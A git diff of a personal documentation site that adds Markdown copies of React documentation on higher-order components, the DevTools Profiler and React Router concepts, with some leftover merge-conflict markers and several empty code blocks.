+<strong>bgoonz — Overview</strong>
+<br />
+<em>Web Developer, Electrical Engineer JavaScript | CSS | Bootstrap | Python | React | Node.js | Express | Sequelize…</em>github.com</a>
+<a href="https://github.com/bgoonz" class="js-mixtapeImage mixtapeImage u-ignoreBlock">
+</a>
+>>>>>>> master
 
 By <a href="https://medium.com/@bryanguner" class="p-author h-card">Bryan Guner</a> on [March 18, 2021](https://medium.com/p/9bab65af3f0f).
 
diff --git a/src/pages/docs/react/cheatsheet.md b/src/pages/docs/react/cheatsheet.md
index d0bdd4d7ea..73c0a9a0df 100644
--- a/src/pages/docs/react/cheatsheet.md
+++ b/src/pages/docs/react/cheatsheet.md
@@ -887,9 +887,13 @@ class Link extends React.Component {
 
 <summary>  </summary>   
 
+<<<<<<< HEAD
 
 
 ```sh
+=======
+```console
+>>>>>>> master
 
 npm install --save react       // declarative and flexible JavaScript library for building UI
 npm install --save react-dom   // serves as the entry point of the DOM-related rendering paths
diff --git a/src/pages/docs/react/createReactApp.md b/src/pages/docs/react/createReactApp.md
index a0e22511e3..52db591c2e 100644
--- a/src/pages/docs/react/createReactApp.md
+++ b/src/pages/docs/react/createReactApp.md
@@ -39,7 +39,7 @@ npm start
 
 #### Babel can translate between different versions of javascript so that your code can run on browsers that are limited to ES5 compatibility... included by default with every new react project.
 
-```bash
+```console
 |15:25:30|bryan@LAPTOP-9LGJ3JGS:[05-installing-nodejs] 05-installing-nodejs_exitstatus:0__________________________________________________________o>
 
 npx create-react-app my-app
diff --git a/src/pages/docs/react/higher-order-components/index.md b/src/pages/docs/react/higher-order-components/index.md
new file mode 100644
index 0000000000..444cb446ed
--- /dev/null
+++ b/src/pages/docs/react/higher-order-components/index.md
@@ -0,0 +1,209 @@
+---
+title: Higher Order Components
+template: docs
+excerpt: advanced techniques in react
+---
+
+<!--StartFragment-->
+
+# Higher-Order Components
+
+A higher-order component (HOC) is an advanced technique in React for reusing component logic. HOCs are not part of the React API, per se. They are a pattern that emerges from React’s compositional nature.
+
+Concretely, **a higher-order component is a function that takes a component and returns a new component.**
+
+```
+
+```
+
+Whereas a component transforms props into UI, a higher-order component transforms a component into another component.
+
+HOCs are common in third-party React libraries, such as Redux’s [`connect`](https://github.com/reduxjs/react-redux/blob/master/docs/api/connect.md#connect) and Relay’s [`createFragmentContainer`](https://relay.dev/docs/v10.1.3/fragment-container/#createfragmentcontainer).
+
+In this document, we’ll discuss why higher-order components are useful, and how to write your own.
+
+## [](https://reactjs.org/docs/higher-order-components.html#use-hocs-for-cross-cutting-concerns)Use HOCs For Cross-Cutting Concerns
+
+> **Note**
+>
+> We previously recommended mixins as a way to handle cross-cutting concerns. We’ve since realized that mixins create more trouble than they are worth. [Read more](https://reactjs.org/blog/2016/07/13/mixins-considered-harmful.html) about why we’ve moved away from mixins and how you can transition your existing components.
+
+Components are the primary unit of code reuse in React. However, you’ll find that some patterns aren’t a straightforward fit for traditional components.
+
+For example, say you have a `CommentList` component that subscribes to an external data source to render a list of comments:
+
+```
+
+```
+
+Later, you write a component for subscribing to a single blog post, which follows a similar pattern:
+
+```
+
+```
+
+`CommentList` and `BlogPost` aren’t identical — they call different methods on `DataSource`, and they render different output. But much of their implementation is the same:
+
+* On mount, add a change listener to `DataSource`.
+* Inside the listener, call `setState` whenever the data source changes.
+* On unmount, remove the change listener.
+
+You can imagine that in a large app, this same pattern of subscribing to `DataSource` and calling `setState` will occur over and over again. We want an abstraction that allows us to define this logic in a single place and share it across many components. This is where higher-order components excel.
+
+We can write a function that creates components, like `CommentList` and `BlogPost`, that subscribe to `DataSource`. The function will accept as one of its arguments a child component that receives the subscribed data as a prop. Let’s call the function `withSubscription`:
+
+```
+
+```
+
+The first parameter is the wrapped component. The second parameter retrieves the data we’re interested in, given a `DataSource` and the current props.
+
+When `CommentListWithSubscription` and `BlogPostWithSubscription` are rendered, `CommentList` and `BlogPost` will be passed a `data` prop with the most current data retrieved from `DataSource`:
+
+```
+
+```
+
+Note that a HOC doesn’t modify the input component, nor does it use inheritance to copy its behavior. Rather, a HOC *composes* the original component by *wrapping* it in a container component. A HOC is a pure function with zero side-effects.
+
+And that’s it! The wrapped component receives all the props of the container, along with a new prop, `data`, which it uses to render its output. The HOC isn’t concerned with how or why the data is used, and the wrapped component isn’t concerned with where the data came from.
+
+Because `withSubscription` is a normal function, you can add as many or as few arguments as you like. For example, you may want to make the name of the `data` prop configurable, to further isolate the HOC from the wrapped component. Or you could accept an argument that configures `shouldComponentUpdate`, or one that configures the data source. These are all possible because the HOC has full control over how the component is defined.
+
+Like components, the contract between `withSubscription` and the wrapped component is entirely props-based. This makes it easy to swap one HOC for a different one, as long as they provide the same props to the wrapped component. This may be useful if you change data-fetching libraries, for example.
+
+## [](https://reactjs.org/docs/higher-order-components.html#dont-mutate-the-original-component-use-composition)Don’t Mutate the Original Component. Use Composition.
+
+Resist the temptation to modify a component’s prototype (or otherwise mutate it) inside a HOC.
+
+```
+
+```
+
+There are a few problems with this. One is that the input component cannot be reused separately from the enhanced component. More crucially, if you apply another HOC to `EnhancedComponent` that *also* mutates `componentDidUpdate`, the first HOC’s functionality will be overridden! This HOC also won’t work with function components, which do not have lifecycle methods.
+
+Mutating HOCs are a leaky abstraction—the consumer must know how they are implemented in order to avoid conflicts with other HOCs.
+
+Instead of mutation, HOCs should use composition, by wrapping the input component in a container component:
+
+```
+
+```
+
+This HOC has the same functionality as the mutating version while avoiding the potential for clashes. It works equally well with class and function components. And because it’s a pure function, it’s composable with other HOCs, or even with itself.
+
+You may have noticed similarities between HOCs and a pattern called **container components**. Container components are part of a strategy of separating responsibility between high-level and low-level concerns. Containers manage things like subscriptions and state, and pass props to components that handle things like rendering UI. HOCs use containers as part of their implementation. You can think of HOCs as parameterized container component definitions.
+
+## [](https://reactjs.org/docs/higher-order-components.html#convention-pass-unrelated-props-through-to-the-wrapped-component)Convention: Pass Unrelated Props Through to the Wrapped Component
+
+HOCs add features to a component. They shouldn’t drastically alter its contract. It’s expected that the component returned from a HOC has a similar interface to the wrapped component.
+
+HOCs should pass through props that are unrelated to its specific concern. Most HOCs contain a render method that looks something like this:
+
+```
+
+```
+
+This convention helps ensure that HOCs are as flexible and reusable as possible.
+
+## [](https://reactjs.org/docs/higher-order-components.html#convention-maximizing-composability)Convention: Maximizing Composability
+
+Not all HOCs look the same. Sometimes they accept only a single argument, the wrapped component:
+
+```
+
+```
+
+Usually, HOCs accept additional arguments. In this example from Relay, a config object is used to specify a component’s data dependencies:
+
+```
+
+```
+
+The most common signature for HOCs looks like this:
+
+```
+
+```
+
+*What?!* If you break it apart, it’s easier to see what’s going on.
+
+```
+
+```
+
+In other words, `connect` is a higher-order function that returns a higher-order component!
+
+This form may seem confusing or unnecessary, but it has a useful property. Single-argument HOCs like the one returned by the `connect` function have the signature `Component => Component`. Functions whose output type is the same as its input type are really easy to compose together.
+
+```
+
+```
+
+(This same property also allows `connect` and other enhancer-style HOCs to be used as decorators, an experimental JavaScript proposal.)
+
+The `compose` utility function is provided by many third-party libraries including lodash (as [`lodash.flowRight`](https://lodash.com/docs/#flowRight)), [Redux](https://redux.js.org/api/compose), and [Ramda](https://ramdajs.com/docs/#compose).
+
+## [](https://reactjs.org/docs/higher-order-components.html#convention-wrap-the-display-name-for-easy-debugging)Convention: Wrap the Display Name for Easy Debugging
+
+The container components created by HOCs show up in the [React Developer Tools](https://github.com/facebook/react/tree/main/packages/react-devtools) like any other component. To ease debugging, choose a display name that communicates that it’s the result of a HOC.
+
+The most common technique is to wrap the display name of the wrapped component. So if your higher-order component is named `withSubscription`, and the wrapped component’s display name is `CommentList`, use the display name `WithSubscription(CommentList)`:
+
+```
+
+```
+
+## [](https://reactjs.org/docs/higher-order-components.html#caveats)Caveats
+
+Higher-order components come with a few caveats that aren’t immediately obvious if you’re new to React.
+
+### [](https://reactjs.org/docs/higher-order-components.html#dont-use-hocs-inside-the-render-method)Don’t Use HOCs Inside the render Method
+
+React’s diffing algorithm (called [Reconciliation](https://reactjs.org/docs/reconciliation.html)) uses component identity to determine whether it should update the existing subtree or throw it away and mount a new one. If the component returned from `render` is identical (`===`) to the component from the previous render, React recursively updates the subtree by diffing it with the new one. If they’re not equal, the previous subtree is unmounted completely.
+
+Normally, you shouldn’t need to think about this. But it matters for HOCs because it means you can’t apply a HOC to a component within the render method of a component:
+
+```
+
+```
+
+The problem here isn’t just about performance — remounting a component causes the state of that component and all of its children to be lost.
+
+Instead, apply HOCs outside the component definition so that the resulting component is created only once. Then, its identity will be consistent across renders. This is usually what you want, anyway.
+
+In those rare cases where you need to apply a HOC dynamically, you can also do it inside a component’s lifecycle methods or its constructor.
+
+### [](https://reactjs.org/docs/higher-order-components.html#static-methods-must-be-copied-over)Static Methods Must Be Copied Over
+
+Sometimes it’s useful to define a static method on a React component. For example, Relay containers expose a static method `getFragment` to facilitate the composition of GraphQL fragments.
+
+When you apply a HOC to a component, though, the original component is wrapped with a container component. That means the new component does not have any of the static methods of the original component.
+
+```
+
+```
+
+To solve this, you could copy the methods onto the container before returning it:
+
+```
+
+```
+
+However, this requires you to know exactly which methods need to be copied. You can use [hoist-non-react-statics](https://github.com/mridgway/hoist-non-react-statics) to automatically copy all non-React static methods:
+
+```
+
+```
+
+Another possible solution is to export the static method separately from the component itself.
+
+```
+
+```
+
+### [](https://reactjs.org/docs/higher-order-components.html#refs-arent-passed-through)Refs Aren’t Passed Through
+
+While the convention for higher-order components is to pass through all props to the wrapped component, this does not work for refs. That’s because `ref` is not really a prop — like `key`, it’s handled specially by React. If you add a ref to an element whose component is the result of a HOC, the ref refers to an instance of the outermost container component, not the wrapped component.
+
+<!--EndFragment-->
diff --git a/src/pages/docs/react/react-dev-tools-profiler/index.md b/src/pages/docs/react/react-dev-tools-profiler/index.md
new file mode 100644
index 0000000000..2ae386d818
--- /dev/null
+++ b/src/pages/docs/react/react-dev-tools-profiler/index.md
@@ -0,0 +1,146 @@
+---
+title: React Dev Tools Profiler
+template: docs
+excerpt: "DevTools will show a “Profiler” tab for applications that support the
+  new profiling API:"
+---
+<!--StartFragment-->
+
+## Profiling an application
+
+DevTools will show a “Profiler” tab for applications that support the new profiling API:
+
+[![New DevTools ](https://reactjs.org/static/4da6b55fc3c98de04c261cd902c14dc3/1e088/devtools-profiler-tab.png)](https://reactjs.org/static/4da6b55fc3c98de04c261cd902c14dc3/ad997/devtools-profiler-tab.png)
+
+> Note:
+>
+> `react-dom` 16.5+ supports profiling in DEV mode. A production profiling bundle is also available as `react-dom/profiling`. Read more about how to use this bundle at [fb.me/react-profiling](https://fb.me/react-profiling)
+
+The “Profiler” panel will be empty initially. Click the record button to start profiling:
+
+[![Click ](https://reactjs.org/static/bae8d10e17f06eeb8c512c91c0153cff/1e088/start-profiling.png)](https://reactjs.org/static/bae8d10e17f06eeb8c512c91c0153cff/ad997/start-profiling.png)
+
+Once you’ve started recording, DevTools will automatically collect performance information each time your application renders. Use your app as you normally would. When you are finished profiling, click the “Stop” button.
+
+[![Click ](https://reactjs.org/static/45619de03bed468869f7a0878f220586/1e088/stop-profiling.png)](https://reactjs.org/static/45619de03bed468869f7a0878f220586/ad997/stop-profiling.png)
+
+Assuming your application rendered at least once while profiling, DevTools will show several ways to view the performance data. We’ll [take a look at each of these below](https://reactjs.org/blog/2018/09/10/introducing-the-react-profiler.html#reading-performance-data).
+
+## [](https://reactjs.org/blog/2018/09/10/introducing-the-react-profiler.html#reading-performance-data)Reading performance data
+
+### [](https://reactjs.org/blog/2018/09/10/introducing-the-react-profiler.html#browsing-commits)Browsing commits
+
+Conceptually, React does work in two phases:
+
+* The **render** phase determines what changes need to be made to e.g. the DOM. During this phase, React calls `render` and then compares the result to the previous render.
+* The **commit** phase is when React applies any changes. (In the case of React DOM, this is when React inserts, updates, and removes DOM nodes.) React also calls lifecycles like `componentDidMount` and `componentDidUpdate` during this phase.
+
+The DevTools profiler groups performance info by commit. Commits are displayed in a bar chart near the top of the profiler:
+
+[![Bar chart of profiled commits](https://reactjs.org/static/bd72dec045515d59be51c944e902d263/d8f62/commit-selector.png)](https://reactjs.org/static/bd72dec045515d59be51c944e902d263/d8f62/commit-selector.png)
+
+Each bar in the chart represents a single commit with the currently selected commit colored black. You can click on a bar (or the left/right arrow buttons) to select a different commit.
+
+The color and height of each bar corresponds to how long that commit took to render. (Taller, yellow bars took longer than shorter, blue bars.)
+
+### [](https://reactjs.org/blog/2018/09/10/introducing-the-react-profiler.html#filtering-commits)Filtering commits
+
+The longer you profile, the more times your application will render. In some cases you may end up with *too many commits* to easily process. The profiler offers a filtering mechanism to help with this. Use it to specify a threshold and the profiler will hide all commits that were *faster* than that value.
+
+![Filtering commits by time](https://reactjs.org/683b9d860ef722e1505e5e629df7ef7e/filtering-commits.gif)
+
+### [](https://reactjs.org/blog/2018/09/10/introducing-the-react-profiler.html#flame-chart)Flame chart
+
+The flame chart view represents the state of your application for a particular commit. Each bar in the chart represents a React component (e.g. `App`, `Nav`). The size and color of the bar represents how long it took to render the component and its children. (The width of a bar represents how much time was spent *when the component last rendered* and the color represents how much time was spent *as part of the current commit*.)
+
+[![Example flame chart](https://reactjs.org/static/3046f500b9bfc052bde8b7b3b3cfc243/1e088/flame-chart.png)](https://reactjs.org/static/3046f500b9bfc052bde8b7b3b3cfc243/ad997/flame-chart.png)
+
+> Note:
+>
+> The width of a bar indicates how long it took to render the component (and its children) when they last rendered. If the component did not re-render as part of this commit, the time represents a previous render. The wider a component is, the longer it took to render.
+>
+> The color of a bar indicates how long the component (and its children) took to render in the selected commit. Yellow components took more time, blue components took less time, and gray components did not render at all during this commit.
+
+For example, the commit shown above took a total of 18.4ms to render. The `Router` component was the “most expensive” to render (taking 18.4ms). Most of this time was due to two of its children, `Nav` (8.4ms) and `Route` (7.9ms). The rest of the time was divided between its remaining children or spent in the component’s own render method.
+
+You can zoom in or out on a flame chart by clicking on components: ![Click on a component to zoom in or out](https://reactjs.org/39ba82394205242af7c37ccb3a631f4d/zoom-in-and-out.gif)
+
+Clicking on a component will also select it and show information in the right side panel which includes its `props` and `state` at the time of this commit. You can drill into these to learn more about what the component actually rendered during the commit:
+
+![Viewing a component's props and state for a commit](https://reactjs.org/1f4d023f1a0f281386625f28df87c78f/props-and-state.gif)
+
+In some cases, selecting a component and stepping between commits may also provide a hint as to *why* the component rendered:
+
+![Seeing which values changed between commits](https://reactjs.org/cc2a8b37bbce52c49a11c2f8e55dccbc/see-which-props-changed.gif)
+
+The above image shows that `state.scrollOffset` changed between commits. This is likely what caused the `List` component to re-render.
+
+### [](https://reactjs.org/blog/2018/09/10/introducing-the-react-profiler.html#ranked-chart)Ranked chart
+
+The ranked chart view represents a single commit. Each bar in the chart represents a React component (e.g. `App`, `Nav`). The chart is ordered so that the components which took the longest to render are at the top.
+
+[![Example ranked chart](https://reactjs.org/static/0c81347535e28c9cdef0e94fab887b89/1e088/ranked-chart.png)](https://reactjs.org/static/0c81347535e28c9cdef0e94fab887b89/ad997/ranked-chart.png)
+
+> Note:
+>
+> A component’s render time includes the time spent rendering its children, so the components which took the longest to render are generally near the top of the tree.
+
+As with the flame chart, you can zoom in or out on a ranked chart by clicking on components.
+
+### [](https://reactjs.org/blog/2018/09/10/introducing-the-react-profiler.html#component-chart)Component chart
+
+Sometimes it’s useful to see how many times a particular component rendered while you were profiling. The component chart provides this information in the form of a bar chart. Each bar in the chart represents a time when the component rendered. The color and height of each bar corresponds to how long the component took to render *relative to other components* in a particular commit.
+
+[![Example component chart](https://reactjs.org/static/d71275b42c6109e222fbb0932a0c8c09/1e088/component-chart.png)](https://reactjs.org/static/d71275b42c6109e222fbb0932a0c8c09/ad997/component-chart.png)
+
+The chart above shows that the `List` component rendered 11 times. It also shows that each time it rendered, it was the most “expensive” component in the commit (meaning that it took the longest).
+
+To view this chart, either double-click on a component *or* select a component and click on the blue bar chart icon in the right detail pane. You can return to the previous chart by clicking the “x” button in the right detail pane. You can also double click on a particular bar to view more information about that commit.
+
+![How to view all renders for a specific component](https://reactjs.org/99cb4321ded8eb0c21ae5fc673878563/see-all-commits-for-a-fiber.gif)
+
+If the selected component did not render at all during the profiling session, the following message will be shown:
+
+[![No render times for the selected component](https://reactjs.org/static/8eb0c37a13353ef5d9e61ae8fc040705/1e088/no-render-times-for-selected-component.png)](https://reactjs.org/static/8eb0c37a13353ef5d9e61ae8fc040705/ad997/no-render-times-for-selected-component.png)
+
+### [](https://reactjs.org/blog/2018/09/10/introducing-the-react-profiler.html#interactions)Interactions
+
+React recently added another [experimental API](https://fb.me/react-interaction-tracing) for tracing the *cause* of an update. “Interactions” traced with this API will also be shown in the profiler:
+
+[![The interactions panel](https://reactjs.org/static/a91a39ac076b71aa7a202aaf46f8bd5a/1e088/interactions.png)](https://reactjs.org/static/a91a39ac076b71aa7a202aaf46f8bd5a/ad997/interactions.png)
+
+The image above shows a profiling session that traced four interactions. Each row represents an interaction that was traced. The colored dots along the row represent commits that were related to that interaction.
+
+You can also see which interactions were traced for a particular commit from the flame chart and ranked chart views as well:
+
+[![List of interactions for a commit](https://reactjs.org/static/9847e78f930cb7cf2b0f9682853a5dbc/1e088/interactions-for-commit.png)](https://reactjs.org/static/9847e78f930cb7cf2b0f9682853a5dbc/ad997/interactions-for-commit.png)
+
+You can navigate between interactions and commits by clicking on them:
+
+![Navigate between interactions and commits](https://reactjs.org/7c66e7686b5242473c87b3d0b4576cf3/navigate-between-interactions-and-commits.gif)
+
+The tracing API is still new and we will cover it in more detail in a future blog post.
+
+## [](https://reactjs.org/blog/2018/09/10/introducing-the-react-profiler.html#troubleshooting)Troubleshooting
+
+### [](https://reactjs.org/blog/2018/09/10/introducing-the-react-profiler.html#no-profiling-data-has-been-recorded-for-the-selected-root)No profiling data has been recorded for the selected root
+
+If your application has multiple “roots”, you may see the following message after profiling:[![No profiling data has been recorded for the selected root](https://reactjs.org/static/0755492a211f5bbb775285c0ff2fdfda/1e088/no-profiler-data-multi-root.png)](https://reactjs.org/static/0755492a211f5bbb775285c0ff2fdfda/ad997/no-profiler-data-multi-root.png)
+
+This message indicates that no performance data was recorded for the root that’s selected in the “Elements” panel. In this case, try selecting a different root in that panel to view profiling information for that root:
+
+![Select a root in the "Elements" panel to view its performance data](https://reactjs.org/bdc30593d414b5c8d2ae92027ed11940/select-a-root-to-view-profiling-data.gif)
+
+### [](https://reactjs.org/blog/2018/09/10/introducing-the-react-profiler.html#no-timing-data-to-display-for-the-selected-commit)No timing data to display for the selected commit
+
+Sometimes a commit may be so fast that `performance.now()` doesn’t give DevTools any meaningful timing information. In this case, the following message will be shown:
+
+[![No timing data to display for the selected commit](https://reactjs.org/static/63b2fb6298feecb179272c467020ed95/1e088/no-timing-data-for-commit.png)](https://reactjs.org/static/63b2fb6298feecb179272c467020ed95/ad997/no-timing-data-for-commit.png)
+
+## [](https://reactjs.org/blog/2018/09/10/introducing-the-react-profiler.html#deep-dive-video)Deep dive video
+
+The following video demonstrates how the React profiler can be used to detect and improve performance bottlenecks in an actual React application.
+
+
+
+<!--EndFragment-->
\ No newline at end of file
diff --git a/src/pages/docs/react/react-docs.md b/src/pages/docs/react/react-docs.md
index f89cd3dc83..d5a8cf7efd 100644
--- a/src/pages/docs/react/react-docs.md
+++ b/src/pages/docs/react/react-docs.md
@@ -621,8 +621,13 @@ In contrast, this function is impure because it changes its own input:
 
 ---
 
+<<<<<<< HEAD
 
 ```js
+=======
+````js
+//
+>>>>>>> master
 
 
 function withdraw(account, amount) {
@@ -658,7 +663,7 @@ function tick() {
 
 setInterval(tick, 1000);
 
-```
+````
 
 **[Try it on CodePen](https://codepen.io/gaearon/pen/gwoJZk?editors=0010)**
 
diff --git a/src/pages/docs/react/react-in-depth.md b/src/pages/docs/react/react-in-depth.md
index 3b7e67cffa..9e014ab509 100644
--- a/src/pages/docs/react/react-in-depth.md
+++ b/src/pages/docs/react/react-in-depth.md
@@ -3127,7 +3127,7 @@ Simplifying the src folder
       document.getElementById("root")
     );
 
-```
+````
 
 ---
 
@@ -5350,7 +5350,7 @@ class ClassComponent extends React.Component {
 }
 
 export default ClassComponent;
-```
+````
 
 Don't forget to update your `App` component to render the new component:
 
diff --git a/src/pages/docs/react/react-router/index.md b/src/pages/docs/react/react-router/index.md
new file mode 100644
index 0000000000..d5dd50ac67
--- /dev/null
+++ b/src/pages/docs/react/react-router/index.md
@@ -0,0 +1,788 @@
+---
+title: React Router
+template: docs
+excerpt: " full user interface that maps to the URL"
+---
+
+## Main Concepts
+
+This document is a deep dive into the core concepts behind routing as implemented in React Router. It's pretty long, so if you're looking for a more practical guide check out our [quick start tutorial](https://reactrouter.com/docs/en/v6/getting-started/tutorial).
+
+You might be wondering what exactly React Router does. How can it help you build your app? What exactly is a **router**, anyway?
+
+If you've ever had any of these questions, or you'd just like to dig into the fundamental pieces of routing, you're in the right place. This document contains detailed explanations of all the core concepts behind routing as implemented in React Router.
+
+Please don't let this document overwhelm you! For everyday use, React Router is pretty simple. You don't need to go this deep to use it.
+
+React Router isn't just about matching a url to a function or component: it's about building a full user interface that maps to the URL, so it might have more concepts in it than you're used to. We'll go into detail on the three main jobs of React Router:
+
+1.  Subscribing and manipulating the [history stack](https://reactrouter.com/docs/en/v6/getting-started/concepts#history-stack)
+2.  Matching the [URL](https://reactrouter.com/docs/en/v6/getting-started/concepts#url) to your [routes](https://reactrouter.com/docs/en/v6/getting-started/concepts#route-config)
+3.  Rendering a nested UI from the [route matches](https://reactrouter.com/docs/en/v6/getting-started/concepts#matches)
+
+## Definitions
+
+But first, some definitions! There are a lot of different ideas around routing from back and front end frameworks. Sometimes a word in one context might have different meaning than another.
+
+Here are some words we use a lot when we talk about React Router. The rest of this guide will go into more detail on each one.
+
+- **URL** - The URL in the address bar. A lot of people use the term "URL" and "route" interchangeably, but this is not a route in React Router, it's just a URL.
+- **Location** - This is a React Router specific object that is based on the built-in browser's `window.location` object. It represents "where the user is at". It's mostly an object representation of the URL but has a bit more to it than that.
+- **Location State** - A value that persists with a [location](https://reactrouter.com/docs/en/v6/getting-started/concepts#location) that isn't encoded in the [URL](https://reactrouter.com/docs/en/v6/getting-started/concepts#url). Much like hash or search params (data encoded in the URL), but stored invisibly in the browser's memory.
+- **History Stack** - As the user navigates, the browser keeps track of each [location](https://reactrouter.com/docs/en/v6/getting-started/concepts#location) in a stack. If you click and hold the back button in a browser you can see the browser's history stack right there.
+- **Client Side Routing (CSR)** - A plain HTML document can link to other documents and the browser handles the [history stack](https://reactrouter.com/docs/en/v6/getting-started/concepts#history-stack) itself. Client Side Routing enables developers to manipulate the browser history stack without making a document request to the server.
+- **History** - An object that allows React Router to subscribe to changes in the [URL](https://reactrouter.com/docs/en/v6/getting-started/concepts#url) as well as providing APIs to manipulate the browser [history stack](https://reactrouter.com/docs/en/v6/getting-started/concepts#history-stack) programmatically.
+- **History Action** - One of `POP`, `PUSH`, or `REPLACE`. Users can arrive at a [URL](https://reactrouter.com/docs/en/v6/getting-started/concepts#url) for one of these three reasons. A push when a new entry is added to the history stack (typically a link click or the programmer forced a navigation). A replace is similar except it replaces the current entry on the stack instead of pushing a new one. Finally, a pop happens when the user clicks the back or forward buttons in the browser chrome.
+- **Segment** - The parts of a [URL](https://reactrouter.com/docs/en/v6/getting-started/concepts#url) or [path pattern](https://reactrouter.com/docs/en/v6/getting-started/concepts#path-pattern) between the `/` characters. For example, "/users/123" has two segments.
+- **Path Pattern** - These look like URLs but can have special characters for matching URLs to routes, like **dynamic segments** (`"/users/:userId"`) or **star segments** (`"/docs/*"`). They aren't URLs, they're patterns that React Router will match.
+- **Dynamic Segment** - A segment of a path pattern that is dynamic, meaning it can match any values in the segment. For example the pattern `/users/:userId` will match URLs like `/users/123`
+- **URL Params** - The parsed values from the URL that matched a [dynamic segment](https://reactrouter.com/docs/en/v6/getting-started/concepts#dynamic-segment).
+- **Router** - Stateful, top-level component that makes all the other components and hooks work.
+- **Route Config** - A tree of **routes objects** that will be ranked and matched (with nesting) against the current location to create a branch of **route matches**.
+- **Route** - An object or Route Element typically with a shape of `{ path, element }` or `<Route path element>`. The `path` is a path pattern. When the path pattern matches the current URL, the element will be rendered.
+- **Route Element** - Or `<Route>`. This element's props are read to create a [route](https://reactrouter.com/docs/en/v6/getting-started/concepts#route) by `<Routes>`, but otherwise does nothing.
+- **Nested Routes** - Because routes can have children and each route defines a portion of the [URL](https://reactrouter.com/docs/en/v6/getting-started/concepts#url) through [segments](https://reactrouter.com/docs/en/v6/getting-started/concepts#segment), a single URL can match multiple routes in a nested "branch" of the tree. This enables automatic layout nesting through [outlet](https://reactrouter.com/docs/en/v6/getting-started/concepts#outlet), [relative links](https://reactrouter.com/docs/en/v6/getting-started/concepts#relative-links), and more.
+- **Relative links** - Links that don't start with `/` will inherit the closest route in which they are rendered. This makes it easy to link to deeper URLs without having to know and build up the entire path.
+- **Match** - An object that holds information when a route matches the URL, like the [url params](https://reactrouter.com/docs/en/v6/getting-started/concepts#url-params) and pathname that matched.
+- **Matches** - An array of routes (or branch of the [route config](https://reactrouter.com/docs/en/v6/getting-started/concepts#route-config)) that matches the current [location](https://reactrouter.com/docs/en/v6/getting-started/concepts#location). This structure enables [nested routes](https://reactrouter.com/docs/en/v6/getting-started/concepts#nested-routes).
+- **Parent Route** - A route with child routes.
+- **Outlet** - A component that renders the next match in a set of [matches](https://reactrouter.com/docs/en/v6/getting-started/concepts#match).
+- **Index Route** - A child route with no path that renders in the parent's [outlet](https://reactrouter.com/docs/en/v6/getting-started/concepts#outlet) at the parent's [URL](https://reactrouter.com/docs/en/v6/getting-started/concepts#url).
+- **Layout Route** - A **parent route** without a path, used exclusively for grouping child routes inside a specific layout.
+
+## History and Locations
+
+Before React Router can do anything, it has to be able to subscribe to changes in the browser [history stack](https://reactrouter.com/docs/en/v6/getting-started/concepts#history-stack).
+
+Browsers maintain their own history stack as the user navigates around. That's how the back and forward buttons can work. In a traditional website (HTML documents without JavaScript) the browser will make requests to the server every time the user clicks a link, submits a form, or clicks the back and forward buttons.
+
+For example, consider the user:
+
+1.  clicks a link to `/dashboard`
+2.  clicks a link to `/accounts`
+3.  clicks a link to `/customers/123`
+4.  clicks the back button
+5.  clicks a link to `/dashboard`
+
+The history stack will change as follows where **bold** entries denote the current [URL](https://reactrouter.com/docs/en/v6/getting-started/concepts#url):
+
+1.  **`/dashboard`**
+2.  `/dashboard`, **`/accounts`**
+3.  `/dashboard`, `/accounts`, **`/customers/123`**
+4.  `/dashboard`, **`/accounts`**, `/customers/123`
+5.  `/dashboard`, `/accounts`, **`/dashboard`**
+
+### History Object
+
+With **client side routing**, developers are able to manipulate the browser [history stack](https://reactrouter.com/docs/en/v6/getting-started/concepts#history-stack) programmatically. For example, we can write some code like this to change the [URL](https://reactrouter.com/docs/en/v6/getting-started/concepts#url) without the browsers default behavior of making a request to the server:
+
+```
+<a
+  href="/contact"
+  onClick={(event) => {
+    // stop the browser from changing the URL and requesting the new document
+    event.preventDefault();
+    // push an entry into the browser history stack and change the URL
+    window.history.pushState({}, undefined, "/contact");
+  }}
+/>
+```
+
+For illustration only, don't use `window.history.pushState` directly in React Router
+
+This code changes the [URL](https://reactrouter.com/docs/en/v6/getting-started/concepts#url) but doesn't do anything for the UI. We would need to write some more code that changed some state somewhere to get the UI to change to the contact page. The trouble is, the browser doesn't give us a way to "listen to the URL" and subscribe to changes like this.
+
+Well, that's not totally true. We can listen for changes to the URL via [pop](https://reactrouter.com/docs/en/v6/getting-started/concepts#history-actions) events:
+
+```
+window.addEventListener("popstate", () => {
+  // URL changed!
+});
+```
+
+But that only fires when the user clicks the back or forward buttons. There is no event for when the programmer called `window.history.pushState` or `window.history.replaceState`.
+
+That's where a React Router specific `history` object comes into play. It provides a way to "listen for [URL](https://reactrouter.com/docs/en/v6/getting-started/concepts#url)" changes whether the [history action](https://reactrouter.com/docs/en/v6/getting-started/concepts#history-actions) is **push**, **pop**, or **replace**.
+
+```
+let history = createBrowserHistory();
+history.listen(({ location, action }) => {
+  // this is called whenever new locations come in
+  // the action is POP, PUSH, or REPLACE
+});
+```
+
+Apps don't need to set up their own history objects--that's job of `<Router>`. It sets up one of these objects, subscribe to changes in the [history stack](https://reactrouter.com/docs/en/v6/getting-started/concepts#history-stack), and finally updates its state when the [URL](https://reactrouter.com/docs/en/v6/getting-started/concepts#url) changes. This causes the app to re-render and the correct UI to display. The only thing it needs to put on state is a `location`, everything else works from that single object.
+
+### Locations
+
+The browser has a location object on `window.location`. It tells you information about the [URL](https://reactrouter.com/docs/en/v6/getting-started/concepts#url) but also has some methods to change it:
+
+```
+window.location.pathname; // /getting-started/concepts/
+window.location.hash; // #location
+window.location.reload(); // force a refresh w/ the server
+// and a lot more
+```
+
+For illustration. You don't typically work with `window.location` in a React Router app
+
+Instead of using `window.location`, React Router has the concept of a [location](https://reactrouter.com/docs/en/v6/getting-started/concepts#location) that's patterned after `window.location` but is much simpler. It looks like this:
+
+```
+{
+  pathname: "/bbq/pig-pickins",
+  search: "?campaign=instagram",
+  hash: "#menu",
+  state: null,
+  key: "aefz24ie"
+}
+```
+
+The first three: `{ pathname, search, hash }` are exactly like `window.location`. If you just add up the three you'll get the [URL](https://reactrouter.com/docs/en/v6/getting-started/concepts#url) the user sees in the browser:
+
+```
+location.pathname + location.search + location.hash;
+// /bbq/pig-pickins?campaign=instagram#menu
+```
+
+The last two, `{ state, key }`, are React Router specific.
+
+**Location Pathname**
+
+This is the part of [URL](https://reactrouter.com/docs/en/v6/getting-started/concepts#url) after the origin, so for `https://example.com/teams/hotspurs` the pathname is `/teams/hostspurs`. This is the only part of the location that routes match against.
+
+**Location Search**
+
+People use a lot of different terms for this part of the [URL](https://reactrouter.com/docs/en/v6/getting-started/concepts#url):
+
+- location search
+- search params
